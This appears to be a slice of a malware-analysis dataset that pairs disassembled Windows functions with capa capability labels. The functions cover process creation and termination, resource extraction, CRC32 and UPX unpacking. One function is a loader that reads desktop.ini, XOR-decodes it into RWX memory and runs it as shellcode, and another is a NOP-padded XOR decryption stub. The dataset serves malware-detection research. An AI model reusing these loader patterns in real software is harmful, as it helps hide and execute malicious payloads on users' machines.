joyce8/EMBER2024-capa huggingface dataset:
Function at 0x439560
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x62cfe8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x605408
push 0x6053cc
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43959d
lea ecx, [ebp - 0x118]
push ecx
call eax
push 0x3c
lea eax, [ebp - 0x154]
push 0
push eax
call fcn.00577700
add esp, 0xc
mov dword [ebp - 0x154], 0x3c
cmp dword [ebp - 0x114], 5
mov ecx, 0x605698
mov eax, 0x60568c
mov dword [ebp - 0x150], 0x40
cmovne eax, ecx
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x148], eax
lea eax, [ebp - 0x154]
push eax
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x138], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00570e5f
mov esp, ebp
pop ebp
ret

Function at 0x439620
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x62cfe8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x439692
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x439692
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.00577477
add esp, 8
test eax, eax
jne 0x4396ac
lea eax, [ebp - 0x230]
push eax
push esi
call edi
test eax, eax
jne 0x439670
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00570e5f
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00570e5f
mov esp, ebp
pop ebp
ret

Function at 0x4396d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x62cfe8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x43975c
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x43975c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.00577477
add esp, 8
test eax, eax
je 0x43974d
push dword [ebp - 0x228]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x230]
push eax
push esi
call edi
test eax, eax
jne 0x439720
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00570e5f
mov esp, ebp
pop ebp
ret
Function at 0x439780
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x62cfe8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
or eax, 0xffffffff
mov dword [ebp - 0x408], ecx
mov edi, edx
xor ebx, ebx
mov ecx, ebx
and cl, 1
movzx edx, cl
mov ecx, ebx
neg edx
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and cl, 1
movzx esi, cl
neg esi
sbb esi, esi
shr edx, 1
and esi, 0xedb88320
xor esi, edx
mov ecx, esi
and cl, 1
movzx edx, cl
neg edx
sbb edx, edx
shr esi, 1
and edx, 0xedb88320
xor edx, esi
mov ecx, edx
and cl, 1
movzx esi, cl
neg esi
sbb esi, esi
shr edx, 1
and esi, 0xedb88320
xor esi, edx
mov ecx, esi
and cl, 1
movzx edx, cl
neg edx
sbb edx, edx
shr esi, 1
and edx, 0xedb88320
xor edx, esi
mov ecx, edx
and cl, 1
movzx esi, cl
neg esi
sbb esi, esi
shr edx, 1
and esi, 0xedb88320
xor esi, edx
mov ecx, esi
and cl, 1
movzx edx, cl
neg edx
sbb edx, edx
shr esi, 1
and edx, 0xedb88320
xor edx, esi
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov dword [ebp + ebx*4 - 0x404], ecx
inc ebx
cmp ebx, 0x100
jl 0x4397a3
mov ebx, dword [ebp - 0x408]
xor esi, esi
test edi, edi
jle 0x43988d
movzx edx, byte [esi + ebx]
inc esi
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [ebp + edx*4 - 0x404]
cmp esi, edi
jl 0x439875
mov ecx, dword [ebp - 4]
not eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00570e5f
mov esp, ebp
pop ebp
ret

Function at 0x439be0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov esi, edx
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0x80
push esi
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x439c37
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x43e488
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0044ad5f
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x43e4bf
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.0043e4e0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4420e2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x442127
call fcn.0044ad5f
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x442127
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x442143
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0044b504
mov ebx, eax
test edi, edi
je 0x442141
test esi, esi
je 0x442141
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x442b53
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x442c11
cmp dword [esi + 0x20], 0
je 0x442c11
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x442c11
cmp dword [ebp + 8], 0
je 0x442c11
xor eax, eax
mov ebx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov edi, eax
call fcn.0044ad5f
push 0x5c9b10
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x442be2
mov edi, dword [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x442c11
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
push ebx
push esi
call fcn.00454b2c
add esp, 0xc
mov ebx, eax
cmp dword [ebp - 8], 0
je 0x442c02
test edi, edi
je 0x442c02
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
test ebx, ebx
je 0x442c0d
mov ecx, esi
call fcn.004428f6
mov eax, ebx
jmp 0x442c13
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x44711e
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5c2215
call fcn.005714eb
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x447144
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x4471a3
call fcn.00447808
push eax
lea ecx, [ebp - 0x10]
call fcn.0040b890
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call fcn.005714ae
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00581f50
push eax
call fcn.00409fd0
add esp, 0x14
test esi, esi
je 0x447196
push esi
call fcn.00581fbc
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040a180
mov eax, ebx
call fcn.005714b4
ret 8

Function at 0x45664c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
test byte [esi + 4], 1
je 0x456666
mov edi, dword [esi + 0xc]
jmp 0x4566a6
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x45667f
call fcn.004493f4
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x456694
call fcn.004493f4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4566a6
call fcn.004493f4
call fcn.0044ad5f
cmp dword [eax + 0x3c], 0
je 0x4566bb
push edi
mov ecx, ebx
call fcn.00455ce0
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00456898
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x88]
test ecx, ecx
je 0x4566e4
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x88], 0
test ebx, ebx
je 0x4566f0
mov edi, ebx
mov dword [eax + 0x88], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x46e786
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.00447068
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x46e7c2
call fcn.0046e9a8
mov dword [esi + 0xc], 1
jmp 0x46e7c7
call fcn.0046e9a8
cmp dword [esi], 0
je 0x46e810
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x46e7ea
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.004421b8
jmp 0x46e7fb
push 0xff
mov ecx, esi
call fcn.0040b850
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.0043d422
jmp 0x46e834
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x46e834
push dword [esi]
push dword [ebp - 4]
call fcn.0044d865
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x46e8fd
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.0046e9a8
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x46e945
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004421b8
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0043d422
jmp 0x46e950
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0044d865
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x4abc8f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
test esi, esi
jne 0x4abca8
call fcn.0044ad5f
mov esi, dword [eax + 0xc]
push 0x6055cc
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4abcfe
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4abcfd
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4abcde
xor esi, esi
jmp 0x4abcf4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004abd06
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x5744bd
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x5c4a43
call fcn.0057151f
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x5745da
cmp byte [ebx + 0x3e], 0
je 0x5745da
mov eax, dword [ebx]
mov edi, 0xffff
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call fcn.005714ae
mov ecx, ebx
call esi
movzx eax, ax
cmp di, ax
sete al
test al, al
je 0x574509
xor al, al
jmp 0x5745dc
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.004062c0
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x574539
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebx + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call fcn.005714ae
mov ecx, edi
call dword [esi + 0x20]
sub eax, 0
je 0x57456e
sub eax, 1
je 0x574572
dec eax
sub eax, 1
je 0x5745c8
xor bl, bl
jmp 0x5745ca
mov byte [ebx + 0x3e], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x574582
lea edx, [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
sub esi, edx
je 0x5745aa
cmp eax, 0x10
jae 0x574591
lea ecx, [ebp - 0x28]
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0057efbe
add esp, 0x10
cmp esi, eax
jne 0x57456a
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x5745c8
test esi, esi
jne 0x57452d
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.00406a70
jmp 0x574527
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00406260
mov al, bl
jmp 0x5745dc
mov al, 1
call fcn.005714c9
ret

Function at 0x5909a3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00590666

Function at 0x5909ae
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005907e7

Function at 0x596062
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00595d22
Function at 0x59e718
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x2384250
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1e15000]
push edi
or ebp, 0xffffffff
jmp 0x2384272
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x2384279
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x2384268
mov eax, 1
add ebx, ebx
jne 0x238428b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x238429c
jne 0x23842bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x23842bb
dec eax
add ebx, ebx
jne 0x23842a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x2384280
add ebx, ebx
jne 0x23842b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x238430d
xor ecx, ecx
sub eax, 3
jb 0x23842d3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x2384342
sar eax, 1
mov ebp, eax
jmp 0x23842de
add ebx, ebx
jne 0x23842de
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x23842ac
inc ecx
add ebx, ebx
jne 0x23842ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x23842ac
add ebx, ebx
jne 0x23842f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x23842ee
jne 0x238430a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x23842ee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x238432c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x238431e
jmp 0x238426e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x238432c
add edi, ecx
jmp 0x238426e
pop esi
lea edi, [esi + 0x1f79000]
mov eax, dword [edi]
or eax, eax
je 0x238438b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f8b488]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f8b510]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x2384349
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f8b518]
or eax, eax
je 0x2384385
mov dword [ebx], eax
add ebx, 4
jmp 0x2384366
call dword [esi + 0x1f8b514]
mov ebp, dword [esi + 0x1f8b51c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x1f843e6]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x23843d7
sub esp, 0xffffff80
jmp 0x402490
Function at 0x4412bd
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4412eb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x441309
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00441227
jmp 0x441309
mov eax, dword [esi + 0x14]
test eax, eax
je 0x441309
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00441227
test edi, edi
mov eax, edi
jne 0x4412f3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56b4b4]
test ecx, ecx
je 0x4413bc
jmp 0x4412bc
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xa1f48b1
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..pdata_1
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6b10553f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a004]
jne 0x40100a
repz ret
jmp fcn.0040129c

Function at 0x40324b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040223e
and dword [ebp - 0x14], 0
cmp dword [0x44cab0], 0
mov dword [ebp - 0x18], eax
jne 0x4032fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4033a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4033a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44cab0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x44cab4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44cab8], eax
call edi
push eax
call esi
mov dword [0x44cac0], eax
test eax, eax
je 0x4032fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x44cabc], eax
mov eax, dword [0x44cabc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403357
cmp dword [0x44cac0], ecx
je 0x403357
push eax
call esi
push dword [0x44cac0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403357
test ebx, ebx
je 0x403357
call edi
test eax, eax
je 0x40334e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40334e
test byte [ebp - 8], 1
jne 0x403357
or dword [ebp + 0x10], 0x200000
jmp 0x40338a
mov eax, dword [0x44cab4]
cmp eax, dword [ebp - 0x18]
je 0x40338a
push eax
call esi
test eax, eax
je 0x40338a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40338a
mov eax, dword [0x44cab8]
cmp eax, dword [ebp - 0x18]
je 0x40338a
push eax
call esi
test eax, eax
je 0x40338a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44cab0]
call esi
test eax, eax
je 0x4033a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4033a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret

Function at 0x4054f0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x44ab10]
sub esp, 0x10
push esi
mov esi, dword [0x454618]
push edi
mov edi, dword [0x4548f4]
push eax
call fcn.004053e0
add esp, 4
cmp dword [0x4548f4], 0x2f
jne 0x405550
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push str.Bihux_nivew_zuziduzaz_winojego_roli
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push esi
call fcn.00405430
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret